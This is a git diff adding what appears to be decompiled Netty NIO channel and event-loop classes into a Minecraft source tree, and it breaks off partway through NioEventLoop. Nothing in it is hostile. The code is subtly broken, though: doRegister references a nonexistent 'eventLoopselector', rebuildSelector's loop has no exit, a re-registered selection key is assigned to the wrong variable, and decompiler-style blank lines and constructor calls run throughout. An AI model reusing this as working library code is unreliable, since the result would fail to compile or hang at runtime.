+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.FileRegion;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.socket.ChannelInputShutdownEvent;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.nio.channels.SelectableChannel;
+import java.nio.channels.SelectionKey;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractNioByteChannel
+  extends AbstractNioChannel
+{
+  private static final String EXPECTED_TYPES = " (expected: " + StringUtil.simpleClassName(ByteBuf.class) + ", " + StringUtil.simpleClassName(FileRegion.class) + ')';
+  
+
+
+
+  private Runnable flushTask;
+  
+
+
+
+
+  protected AbstractNioByteChannel(Channel parent, SelectableChannel ch)
+  {
+    super(parent, ch, 1);
+  }
+  
+
+
+  protected AbstractNioChannel.AbstractNioUnsafe newUnsafe() { return new NioByteUnsafe(null); }
+  
+  private final class NioByteUnsafe extends AbstractNioChannel.AbstractNioUnsafe {
+    private NioByteUnsafe() { super(); }
+    
+    private RecvByteBufAllocator.Handle allocHandle;
+    private void closeOnRead(ChannelPipeline pipeline) {
+      SelectionKey key = selectionKey();
+      setInputShutdown();
+      if (isOpen()) {
+        if (Boolean.TRUE.equals(config().getOption(ChannelOption.ALLOW_HALF_CLOSURE))) {
+          key.interestOps(key.interestOps() & (readInterestOp ^ 0xFFFFFFFF));
+          pipeline.fireUserEventTriggered(ChannelInputShutdownEvent.INSTANCE);
+        } else {
+          close(voidPromise());
+        }
+      }
+    }
+    
+    private void handleReadException(ChannelPipeline pipeline, ByteBuf byteBuf, Throwable cause, boolean close)
+    {
+      if (byteBuf != null) {
+        if (byteBuf.isReadable()) {
+          setReadPending(false);
+          pipeline.fireChannelRead(byteBuf);
+        } else {
+          byteBuf.release();
+        }
+      }
+      pipeline.fireChannelReadComplete();
+      pipeline.fireExceptionCaught(cause);
+      if ((close) || ((cause instanceof IOException))) {
+        closeOnRead(pipeline);
+      }
+    }
+    
+    public void read()
+    {
+      ChannelConfig config = config();
+      if ((!config.isAutoRead()) && (!isReadPending()))
+      {
+        removeReadOp();
+        return;
+      }
+      
+      ChannelPipeline pipeline = pipeline();
+      ByteBufAllocator allocator = config.getAllocator();
+      int maxMessagesPerRead = config.getMaxMessagesPerRead();
+      RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+      if (allocHandle == null) {
+        this.allocHandle = (allocHandle = config.getRecvByteBufAllocator().newHandle());
+      }
+      
+      ByteBuf byteBuf = null;
+      int messages = 0;
+      boolean close = false;
+      try {
+        int totalReadAmount = 0;
+        boolean readPendingReset = false;
+        do {
+          byteBuf = allocHandle.allocate(allocator);
+          int writable = byteBuf.writableBytes();
+          int localReadAmount = doReadBytes(byteBuf);
+          if (localReadAmount <= 0)
+          {
+            byteBuf.release();
+            close = localReadAmount < 0;
+            break;
+          }
+          if (!readPendingReset) {
+            readPendingReset = true;
+            setReadPending(false);
+          }
+          pipeline.fireChannelRead(byteBuf);
+          byteBuf = null;
+          
+          if (totalReadAmount >= Integer.MAX_VALUE - localReadAmount)
+          {
+            totalReadAmount = Integer.MAX_VALUE;
+            break;
+          }
+          
+          totalReadAmount += localReadAmount;
+          
+
+          if (!config.isAutoRead()) {
+            break;
+          }
+          
+          if (localReadAmount < writable) {
+            break;
+          }
+          
+
+          messages++; } while (messages < maxMessagesPerRead);
+        
+        pipeline.fireChannelReadComplete();
+        allocHandle.record(totalReadAmount);
+        
+        if (close) {
+          closeOnRead(pipeline);
+          close = false;
+        }
+      } catch (Throwable t) {
+        handleReadException(pipeline, byteBuf, t, close);
+
+
+      }
+      finally
+      {
+
+
+        if ((!config.isAutoRead()) && (!isReadPending())) {
+          removeReadOp();
+        }
+      }
+    }
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    int writeSpinCount = -1;
+    for (;;)
+    {
+      Object msg = in.current();
+      if (msg == null)
+      {
+        clearOpWrite();
+        break;
+      }
+      
+      if ((msg instanceof ByteBuf)) {
+        ByteBuf buf = (ByteBuf)msg;
+        int readableBytes = buf.readableBytes();
+        if (readableBytes == 0) {
+          in.remove();
+        }
+        else
+        {
+          boolean setOpWrite = false;
+          boolean done = false;
+          long flushedAmount = 0L;
+          if (writeSpinCount == -1) {
+            writeSpinCount = config().getWriteSpinCount();
+          }
+          for (int i = writeSpinCount - 1; i >= 0; i--) {
+            int localFlushedAmount = doWriteBytes(buf);
+            if (localFlushedAmount == 0) {
+              setOpWrite = true;
+              break;
+            }
+            
+            flushedAmount += localFlushedAmount;
+            if (!buf.isReadable()) {
+              done = true;
+              break;
+            }
+          }
+          
+          in.progress(flushedAmount);
+          
+          if (done) {
+            in.remove();
+          } else {
+            incompleteWrite(setOpWrite);
+            break;
+          }
+        } } else if ((msg instanceof FileRegion)) {
+        FileRegion region = (FileRegion)msg;
+        boolean setOpWrite = false;
+        boolean done = false;
+        long flushedAmount = 0L;
+        if (writeSpinCount == -1) {
+          writeSpinCount = config().getWriteSpinCount();
+        }
+        for (int i = writeSpinCount - 1; i >= 0; i--) {
+          long localFlushedAmount = doWriteFileRegion(region);
+          if (localFlushedAmount == 0L) {
+            setOpWrite = true;
+            break;
+          }
+          
+          flushedAmount += localFlushedAmount;
+          if (region.transfered() >= region.count()) {
+            done = true;
+            break;
+          }
+        }
+        
+        in.progress(flushedAmount);
+        
+        if (done) {
+          in.remove();
+        } else {
+          incompleteWrite(setOpWrite);
+          break;
+        }
+      }
+      else {
+        throw new Error();
+      }
+    }
+  }
+  
+  protected final Object filterOutboundMessage(Object msg)
+  {
+    if ((msg instanceof ByteBuf)) {
+      ByteBuf buf = (ByteBuf)msg;
+      if (buf.isDirect()) {
+        return msg;
+      }
+      
+      return newDirectBuffer(buf);
+    }
+    
+    if ((msg instanceof FileRegion)) {
+      return msg;
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPES);
+  }
+  
+
+  protected final void incompleteWrite(boolean setOpWrite)
+  {
+    if (setOpWrite) {
+      setOpWrite();
+    }
+    else {
+      Runnable flushTask = this.flushTask;
+      if (flushTask == null) {
+        flushTask = this.flushTask = new Runnable()
+        {
+          public void run() {
+            flush();
+          }
+        };
+      }
+      eventLoop().execute(flushTask);
+    }
+  }
+  
+
+
+
+  protected abstract long doWriteFileRegion(FileRegion paramFileRegion)
+    throws Exception;
+  
+
+
+
+  protected abstract int doReadBytes(ByteBuf paramByteBuf)
+    throws Exception;
+  
+
+
+  protected abstract int doWriteBytes(ByteBuf paramByteBuf)
+    throws Exception;
+  
+
+
+  protected final void setOpWrite()
+  {
+    SelectionKey key = selectionKey();
+    
+
+
+    if (!key.isValid()) {
+      return;
+    }
+    int interestOps = key.interestOps();
+    if ((interestOps & 0x4) == 0) {
+      key.interestOps(interestOps | 0x4);
+    }
+  }
+  
+  protected final void clearOpWrite() {
+    SelectionKey key = selectionKey();
+    
+
+
+    if (!key.isValid()) {
+      return;
+    }
+    int interestOps = key.interestOps();
+    if ((interestOps & 0x4) != 0) {
+      key.interestOps(interestOps & 0xFFFFFFFB);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/nio/AbstractNioChannel.java b/src/minecraft/io/netty/channel/nio/AbstractNioChannel.java
new file mode 100644
index 0000000..8c68f73
--- /dev/null
+++ b/src/minecraft/io/netty/channel/nio/AbstractNioChannel.java
@@ -0,0 +1,472 @@
+package io.netty.channel.nio;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.AbstractChannel;
+import io.netty.channel.AbstractChannel.AbstractUnsafe;
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ConnectTimeoutException;
+import io.netty.channel.EventLoop;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.ReferenceCounted;
+import io.netty.util.internal.OneTimeTask;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.ConnectException;
+import java.net.SocketAddress;
+import java.nio.channels.CancelledKeyException;
+import java.nio.channels.SelectableChannel;
+import java.nio.channels.SelectionKey;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractNioChannel
+  extends AbstractChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(AbstractNioChannel.class);
+  
+
+  private final SelectableChannel ch;
+  
+
+  protected final int readInterestOp;
+  
+
+  volatile SelectionKey selectionKey;
+  
+
+  private volatile boolean inputShutdown;
+  
+  private volatile boolean readPending;
+  
+  private ChannelPromise connectPromise;
+  
+  private ScheduledFuture<?> connectTimeoutFuture;
+  
+  private SocketAddress requestedRemoteAddress;
+  
+
+  protected AbstractNioChannel(Channel parent, SelectableChannel ch, int readInterestOp)
+  {
+    super(parent);
+    this.ch = ch;
+    this.readInterestOp = readInterestOp;
+    try {
+      ch.configureBlocking(false);
+    } catch (IOException e) {
+      try {
+        ch.close();
+      } catch (IOException e2) {
+        if (logger.isWarnEnabled()) {
+          logger.warn("Failed to close a partially initialized socket.", e2);
+        }
+      }
+      
+
+      throw new ChannelException("Failed to enter non-blocking mode.", e);
+    }
+  }
+  
+  public boolean isOpen()
+  {
+    return ch.isOpen();
+  }
+  
+  public NioUnsafe unsafe()
+  {
+    return (NioUnsafe)super.unsafe();
+  }
+  
+  protected SelectableChannel javaChannel() {
+    return ch;
+  }
+  
+  public NioEventLoop eventLoop()
+  {
+    return (NioEventLoop)super.eventLoop();
+  }
+  
+
+
+  protected SelectionKey selectionKey()
+  {
+    assert (selectionKey != null);
+    return selectionKey;
+  }
+  
+  protected boolean isReadPending() {
+    return readPending;
+  }
+  
+  protected void setReadPending(boolean readPending) {
+    this.readPending = readPending;
+  }
+  
+
+
+  protected boolean isInputShutdown()
+  {
+    return inputShutdown;
+  }
+  
+
+
+  void setInputShutdown()
+  {
+    inputShutdown = true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract class AbstractNioUnsafe
+    extends AbstractChannel.AbstractUnsafe
+    implements AbstractNioChannel.NioUnsafe
+  {
+    protected AbstractNioUnsafe() { super(); }
+    
+    protected final void removeReadOp() {
+      SelectionKey key = selectionKey();
+      
+
+
+      if (!key.isValid()) {
+        return;
+      }
+      int interestOps = key.interestOps();
+      if ((interestOps & readInterestOp) != 0)
+      {
+        key.interestOps(interestOps & (readInterestOp ^ 0xFFFFFFFF));
+      }
+    }
+    
+    public final SelectableChannel ch()
+    {
+      return javaChannel();
+    }
+    
+
+    public final void connect(final SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    {
+      if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+        return;
+      }
+      try
+      {
+        if (connectPromise != null) {
+          throw new IllegalStateException("connection attempt already made");
+        }
+        
+        boolean wasActive = isActive();
+        if (doConnect(remoteAddress, localAddress)) {
+          fulfillConnectPromise(promise, wasActive);
+        } else {
+          connectPromise = promise;
+          requestedRemoteAddress = remoteAddress;
+          
+
+          int connectTimeoutMillis = config().getConnectTimeoutMillis();
+          if (connectTimeoutMillis > 0) {
+            connectTimeoutFuture = eventLoop().schedule(new OneTimeTask()
+            {
+              public void run() {
+                ChannelPromise connectPromise = AbstractNioChannel.this.connectPromise;
+                ConnectTimeoutException cause = new ConnectTimeoutException("connection timed out: " + remoteAddress);
+                
+                if ((connectPromise != null) && (connectPromise.tryFailure(cause)))
+                  close(voidPromise()); } }, connectTimeoutMillis, TimeUnit.MILLISECONDS);
+          }
+          
+
+
+
+          promise.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              if (future.isCancelled()) {
+                if (connectTimeoutFuture != null) {
+                  connectTimeoutFuture.cancel(false);
+                }
+                connectPromise = null;
+                close(voidPromise());
+              }
+            }
+          });
+        }
+      } catch (Throwable t) {
+        if ((t instanceof ConnectException)) {
+          Throwable newT = new ConnectException(t.getMessage() + ": " + remoteAddress);
+          newT.setStackTrace(t.getStackTrace());
+          t = newT;
+        }
+        promise.tryFailure(t);
+        closeIfClosed();
+      }
+    }
+    
+    private void fulfillConnectPromise(ChannelPromise promise, boolean wasActive) {
+      if (promise == null)
+      {
+        return;
+      }
+      
+
+      boolean promiseSet = promise.trySuccess();
+      
+
+
+      if ((!wasActive) && (isActive())) {
+        pipeline().fireChannelActive();
+      }
+      
+
+      if (!promiseSet) {
+        close(voidPromise());
+      }
+    }
+    
+    private void fulfillConnectPromise(ChannelPromise promise, Throwable cause) {
+      if (promise == null)
+      {
+        return;
+      }
+      
+
+      promise.tryFailure(cause);
+      closeIfClosed();
+    }
+    
+
+
+
+    public final void finishConnect()
+    {
+      assert (eventLoop().inEventLoop());
+      try
+      {
+        boolean wasActive = isActive();
+        doFinishConnect();
+        fulfillConnectPromise(connectPromise, wasActive);
+      } catch (Throwable t) {
+        if ((t instanceof ConnectException)) {
+          Throwable newT = new ConnectException(t.getMessage() + ": " + requestedRemoteAddress);
+          newT.setStackTrace(t.getStackTrace());
+          t = newT;
+        }
+        
+        fulfillConnectPromise(connectPromise, t);
+      }
+      finally
+      {
+        if (connectTimeoutFuture != null) {
+          connectTimeoutFuture.cancel(false);
+        }
+        connectPromise = null;
+      }
+    }
+    
+
+
+
+    protected final void flush0()
+    {
+      if (isFlushPending()) {
+        return;
+      }
+      super.flush0();
+    }
+    
+
+    public final void forceFlush()
+    {
+      super.flush0();
+    }
+    
+    private boolean isFlushPending() {
+      SelectionKey selectionKey = selectionKey();
+      return (selectionKey.isValid()) && ((selectionKey.interestOps() & 0x4) != 0);
+    }
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof NioEventLoop;
+  }
+  
+  protected void doRegister() throws Exception
+  {
+    boolean selected = false;
+    for (;;) {
+      try {
+        selectionKey = javaChannel().register(eventLoopselector, 0, this);
+        return;
+      } catch (CancelledKeyException e) {
+        if (!selected)
+        {
+
+          eventLoop().selectNow();
+          selected = true;
+        }
+        else
+        {
+          throw e;
+        }
+      }
+    }
+  }
+  
+  protected void doDeregister() throws Exception
+  {
+    eventLoop().cancel(selectionKey());
+  }
+  
+  protected void doBeginRead()
+    throws Exception
+  {
+    if (inputShutdown) {
+      return;
+    }
+    
+    SelectionKey selectionKey = this.selectionKey;
+    if (!selectionKey.isValid()) {
+      return;
+    }
+    
+    readPending = true;
+    
+    int interestOps = selectionKey.interestOps();
+    if ((interestOps & readInterestOp) == 0) {
+      selectionKey.interestOps(interestOps | readInterestOp);
+    }
+  }
+  
+
+
+
+  protected abstract boolean doConnect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2)
+    throws Exception;
+  
+
+
+
+  protected abstract void doFinishConnect()
+    throws Exception;
+  
+
+
+  protected final ByteBuf newDirectBuffer(ByteBuf buf)
+  {
+    int readableBytes = buf.readableBytes();
+    if (readableBytes == 0) {
+      ReferenceCountUtil.safeRelease(buf);
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    ByteBufAllocator alloc = alloc();
+    if (alloc.isDirectBufferPooled()) {
+      ByteBuf directBuf = alloc.directBuffer(readableBytes);
+      directBuf.writeBytes(buf, buf.readerIndex(), readableBytes);
+      ReferenceCountUtil.safeRelease(buf);
+      return directBuf;
+    }
+    
+    ByteBuf directBuf = ByteBufUtil.threadLocalDirectBuffer();
+    if (directBuf != null) {
+      directBuf.writeBytes(buf, buf.readerIndex(), readableBytes);
+      ReferenceCountUtil.safeRelease(buf);
+      return directBuf;
+    }
+    
+
+    return buf;
+  }
+  
+
+
+
+
+
+  protected final ByteBuf newDirectBuffer(ReferenceCounted holder, ByteBuf buf)
+  {
+    int readableBytes = buf.readableBytes();
+    if (readableBytes == 0) {
+      ReferenceCountUtil.safeRelease(holder);
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    ByteBufAllocator alloc = alloc();
+    if (alloc.isDirectBufferPooled()) {
+      ByteBuf directBuf = alloc.directBuffer(readableBytes);
+      directBuf.writeBytes(buf, buf.readerIndex(), readableBytes);
+      ReferenceCountUtil.safeRelease(holder);
+      return directBuf;
+    }
+    
+    ByteBuf directBuf = ByteBufUtil.threadLocalDirectBuffer();
+    if (directBuf != null) {
+      directBuf.writeBytes(buf, buf.readerIndex(), readableBytes);
+      ReferenceCountUtil.safeRelease(holder);
+      return directBuf;
+    }
+    
+
+    if (holder != buf)
+    {
+      buf.retain();
+      ReferenceCountUtil.safeRelease(holder);
+    }
+    
+    return buf;
+  }
+  
+  public static abstract interface NioUnsafe
+    extends Channel.Unsafe
+  {
+    public abstract SelectableChannel ch();
+    
+    public abstract void finishConnect();
+    
+    public abstract void read();
+    
+    public abstract void forceFlush();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/nio/AbstractNioMessageChannel.java b/src/minecraft/io/netty/channel/nio/AbstractNioMessageChannel.java
new file mode 100644
index 0000000..a1b4a40
--- /dev/null
+++ b/src/minecraft/io/netty/channel/nio/AbstractNioMessageChannel.java
@@ -0,0 +1,181 @@
+package io.netty.channel.nio;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ServerChannel;
+import java.io.IOException;
+import java.nio.channels.SelectableChannel;
+import java.nio.channels.SelectionKey;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractNioMessageChannel
+  extends AbstractNioChannel
+{
+  protected AbstractNioMessageChannel(Channel parent, SelectableChannel ch, int readInterestOp)
+  {
+    super(parent, ch, readInterestOp);
+  }
+  
+
+
+  protected AbstractNioChannel.AbstractNioUnsafe newUnsafe() { return new NioMessageUnsafe(null); }
+  
+  private final class NioMessageUnsafe extends AbstractNioChannel.AbstractNioUnsafe {
+    private NioMessageUnsafe() { super(); }
+    
+    private final List<Object> readBuf = new ArrayList();
+    
+    public void read()
+    {
+      assert (eventLoop().inEventLoop());
+      ChannelConfig config = config();
+      if ((!config.isAutoRead()) && (!isReadPending()))
+      {
+        removeReadOp();
+        return;
+      }
+      
+      int maxMessagesPerRead = config.getMaxMessagesPerRead();
+      ChannelPipeline pipeline = pipeline();
+      boolean closed = false;
+      Throwable exception = null;
+      try {
+        try {
+          for (;;) {
+            int localRead = doReadMessages(readBuf);
+            if (localRead == 0) {
+              break;
+            }
+            if (localRead < 0) {
+              closed = true;
+
+
+
+            }
+            else if (config.isAutoRead())
+            {
+
+
+              if (readBuf.size() >= maxMessagesPerRead)
+                break;
+            }
+          }
+        } catch (Throwable t) {
+          exception = t;
+        }
+        setReadPending(false);
+        int size = readBuf.size();
+        for (int i = 0; i < size; i++) {
+          pipeline.fireChannelRead(readBuf.get(i));
+        }
+        
+        readBuf.clear();
+        pipeline.fireChannelReadComplete();
+        
+        if (exception != null) {
+          if ((exception instanceof IOException))
+          {
+
+            closed = !(AbstractNioMessageChannel.this instanceof ServerChannel);
+          }
+          
+          pipeline.fireExceptionCaught(exception);
+        }
+        
+        if ((closed) && 
+          (isOpen())) {
+          close(voidPromise());
+
+        }
+        
+
+
+      }
+      finally
+      {
+
+        if ((!config.isAutoRead()) && (!isReadPending())) {
+          removeReadOp();
+        }
+      }
+    }
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    SelectionKey key = selectionKey();
+    int interestOps = key.interestOps();
+    for (;;)
+    {
+      Object msg = in.current();
+      if (msg == null)
+      {
+        if ((interestOps & 0x4) == 0) break;
+        key.interestOps(interestOps & 0xFFFFFFFB); break;
+      }
+      
+      try
+      {
+        boolean done = false;
+        for (int i = config().getWriteSpinCount() - 1; i >= 0; i--) {
+          if (doWriteMessage(msg, in)) {
+            done = true;
+            break;
+          }
+        }
+        
+        if (done) {
+          in.remove();
+        }
+        else {
+          if ((interestOps & 0x4) == 0) {
+            key.interestOps(interestOps | 0x4);
+          }
+          break;
+        }
+      } catch (IOException e) {
+        if (continueOnWriteError()) {
+          in.remove(e);
+        } else {
+          throw e;
+        }
+      }
+    }
+  }
+  
+
+
+  protected boolean continueOnWriteError()
+  {
+    return false;
+  }
+  
+  protected abstract int doReadMessages(List<Object> paramList)
+    throws Exception;
+  
+  protected abstract boolean doWriteMessage(Object paramObject, ChannelOutboundBuffer paramChannelOutboundBuffer)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/nio/NioEventLoop.java b/src/minecraft/io/netty/channel/nio/NioEventLoop.java
new file mode 100644
index 0000000..d7aa921
--- /dev/null
+++ b/src/minecraft/io/netty/channel/nio/NioEventLoop.java
@@ -0,0 +1,692 @@
+package io.netty.channel.nio;
+
+import io.netty.channel.ChannelException;
+import io.netty.channel.EventLoopException;
+import io.netty.channel.SingleThreadEventLoop;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.nio.channels.CancelledKeyException;
+import java.nio.channels.SelectableChannel;
+import java.nio.channels.SelectionKey;
+import java.nio.channels.Selector;
+import java.nio.channels.spi.SelectorProvider;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NioEventLoop
+  extends SingleThreadEventLoop
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(NioEventLoop.class);
+  
+  private static final int CLEANUP_INTERVAL = 256;
+  
+  private static final boolean DISABLE_KEYSET_OPTIMIZATION = SystemPropertyUtil.getBoolean("io.netty.noKeySetOptimization", false);
+  
+  private static final int MIN_PREMATURE_SELECTOR_RETURNS = 3;
+  
+  private static final int SELECTOR_AUTO_REBUILD_THRESHOLD;
+  
+  Selector selector;
+  private SelectedSelectionKeySet selectedKeys;
+  private final SelectorProvider provider;
+  
+  static
+  {
+    String key = "sun.nio.ch.bugLevel";
+    try {
+      String buglevel = SystemPropertyUtil.get(key);
+      if (buglevel == null) {
+        System.setProperty(key, "");
+      }
+    } catch (SecurityException e) {
+      if (logger.isDebugEnabled()) {
+        logger.debug("Unable to get/set System Property: {}", key, e);
+      }
+    }
+    
+    int selectorAutoRebuildThreshold = SystemPropertyUtil.getInt("io.netty.selectorAutoRebuildThreshold", 512);
+    if (selectorAutoRebuildThreshold < 3) {
+      selectorAutoRebuildThreshold = 0;
+    }
+    
+    SELECTOR_AUTO_REBUILD_THRESHOLD = selectorAutoRebuildThreshold;
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("-Dio.netty.noKeySetOptimization: {}", Boolean.valueOf(DISABLE_KEYSET_OPTIMIZATION));
+      logger.debug("-Dio.netty.selectorAutoRebuildThreshold: {}", Integer.valueOf(SELECTOR_AUTO_REBUILD_THRESHOLD));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final AtomicBoolean wakenUp = new AtomicBoolean();
+  
+  private volatile int ioRatio = 50;
+  private int cancelledKeys;
+  private boolean needsToSelectAgain;
+  
+  NioEventLoop(NioEventLoopGroup parent, ThreadFactory threadFactory, SelectorProvider selectorProvider) {
+    super(parent, threadFactory, false);
+    if (selectorProvider == null) {
+      throw new NullPointerException("selectorProvider");
+    }
+    provider = selectorProvider;
+    selector = openSelector();
+  }
+  
+  private Selector openSelector() {
+    Selector selector;
+    try {
+      selector = provider.openSelector();
+    } catch (IOException e) {
+      throw new ChannelException("failed to open a new selector", e);
+    }
+    
+    if (DISABLE_KEYSET_OPTIMIZATION) {
+      return selector;
+    }
+    try
+    {
+      SelectedSelectionKeySet selectedKeySet = new SelectedSelectionKeySet();
+      
+      Class<?> selectorImplClass = Class.forName("sun.nio.ch.SelectorImpl", false, PlatformDependent.getSystemClassLoader());
+      
+
+
+      if (!selectorImplClass.isAssignableFrom(selector.getClass())) {
+        return selector;
+      }
+      
+      Field selectedKeysField = selectorImplClass.getDeclaredField("selectedKeys");
+      Field publicSelectedKeysField = selectorImplClass.getDeclaredField("publicSelectedKeys");
+      
+      selectedKeysField.setAccessible(true);
+      publicSelectedKeysField.setAccessible(true);
+      
+      selectedKeysField.set(selector, selectedKeySet);
+      publicSelectedKeysField.set(selector, selectedKeySet);
+      
+      selectedKeys = selectedKeySet;
+      logger.trace("Instrumented an optimized java.util.Set into: {}", selector);
+    } catch (Throwable t) {
+      selectedKeys = null;
+      logger.trace("Failed to instrument an optimized java.util.Set into: {}", selector, t);
+    }
+    
+    return selector;
+  }
+  
+
+  protected Queue<Runnable> newTaskQueue()
+  {
+    return PlatformDependent.newMpscQueue();
+  }
+  
+
+
+
+
+  public void register(SelectableChannel ch, int interestOps, NioTask<?> task)
+  {
+    if (ch == null) {
+      throw new NullPointerException("ch");
+    }
+    if (interestOps == 0) {
+      throw new IllegalArgumentException("interestOps must be non-zero.");
+    }
+    if ((interestOps & (ch.validOps() ^ 0xFFFFFFFF)) != 0) {
+      throw new IllegalArgumentException("invalid interestOps: " + interestOps + "(validOps: " + ch.validOps() + ')');
+    }
+    
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    
+    if (isShutdown()) {
+      throw new IllegalStateException("event loop shut down");
+    }
+    try
+    {
+      ch.register(selector, interestOps, task);
+    } catch (Exception e) {
+      throw new EventLoopException("failed to register a channel", e);
+    }
+  }
+  
+
+
+  public int getIoRatio()
+  {
+    return ioRatio;
+  }
+  
+
+
+
+  public void setIoRatio(int ioRatio)
+  {
+    if ((ioRatio <= 0) || (ioRatio > 100)) {
+      throw new IllegalArgumentException("ioRatio: " + ioRatio + " (expected: 0 < ioRatio <= 100)");
+    }
+    this.ioRatio = ioRatio;
+  }
+  
+
+
+
+  public void rebuildSelector()
+  {
+    if (!inEventLoop()) {
+      execute(new Runnable()
+      {
+        public void run() {
+          rebuildSelector();
+        }
+      });
+      return;
+    }
+    
+    Selector oldSelector = selector;
+    
+
+    if (oldSelector == null) {
+      return;
+    }
+    Selector newSelector;
+    try {
+      newSelector = openSelector();
+    } catch (Exception e) {
+      logger.warn("Failed to create a new Selector.", e);
+      return;
+    }
+    
+
+    int nChannels = 0;
+    for (;;) {
+      try {
+        Iterator i$ = oldSelector.keys().iterator(); if (i$.hasNext()) { SelectionKey key = (SelectionKey)i$.next();
+          Object a = key.attachment();
+          try {
+            if ((key.isValid()) && (key.channel().keyFor(newSelector) != null)) {
+              continue;
+            }
+            
+            int interestOps = key.interestOps();
+            key.cancel();
+            SelectionKey newKey = key.channel().register(newSelector, interestOps, a);
+            if ((a instanceof AbstractNioChannel))
+            {
+              selectionKey = newKey;
+            }
+            nChannels++;
+          } catch (Exception e) {
+            logger.warn("Failed to re-register a Channel to the new Selector.", e);
+            if ((a instanceof AbstractNioChannel)) {
+              AbstractNioChannel ch = (AbstractNioChannel)a;
+              ch.unsafe().close(ch.unsafe().voidPromise());
+            }
+            else {
+              NioTask<SelectableChannel> task = (NioTask)a;
+              invokeChannelUnregistered(task, key, e);
+            }
+          }
+        }
+      }
+      catch (ConcurrentModificationException e) {}
+    }
+    
+
+
+
+
+    selector = newSelector;
+    
+    try
+    {
+      oldSelector.close();
+    } catch (Throwable t) {
+      if (logger.isWarnEnabled()) {
+        logger.warn("Failed to close the old Selector.", t);
+      }
+    }
+    
+    logger.info("Migrated " + nChannels + " channel(s) to the new Selector.");
+  }
+  
+  protected void run()
+  {
+    for (;;) {
+      boolean oldWakenUp = wakenUp.getAndSet(false);
+      try {
+        if (hasTasks()) {
+          selectNow();
+        } else {
+          select(oldWakenUp);
+          
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          if (wakenUp.get()) {
+            selector.wakeup();
+          }
+        }
+        
+        cancelledKeys = 0;
+        needsToSelectAgain = false;
+        int ioRatio = this.ioRatio;
+        if (ioRatio == 100) {
+          processSelectedKeys();
+          runAllTasks();
+        } else {
+          long ioStartTime = System.nanoTime();
+          
+          processSelectedKeys();
+          
+          long ioTime = System.nanoTime() - ioStartTime;
+          runAllTasks(ioTime * (100 - ioRatio) / ioRatio);
+        }
+        
+        if (isShuttingDown()) {
+          closeAll();
+          if (confirmShutdown()) {
+            break;
+          }
+        }
+      } catch (Throwable t) {
+        logger.warn("Unexpected exception in the selector loop.", t);
+        
+
+        try
+        {
+          Thread.sleep(1000L);
+        }
+        catch (InterruptedException e) {}
+      }
+    }
+  }
+  
+  private void processSelectedKeys()
+  {
+    if (selectedKeys != null) {
+      processSelectedKeysOptimized(selectedKeys.flip());
+    } else {
+      processSelectedKeysPlain(selector.selectedKeys());
+    }
+  }
+  
+  protected void cleanup()
+  {
+    try {
+      selector.close();
+    } catch (IOException e) {
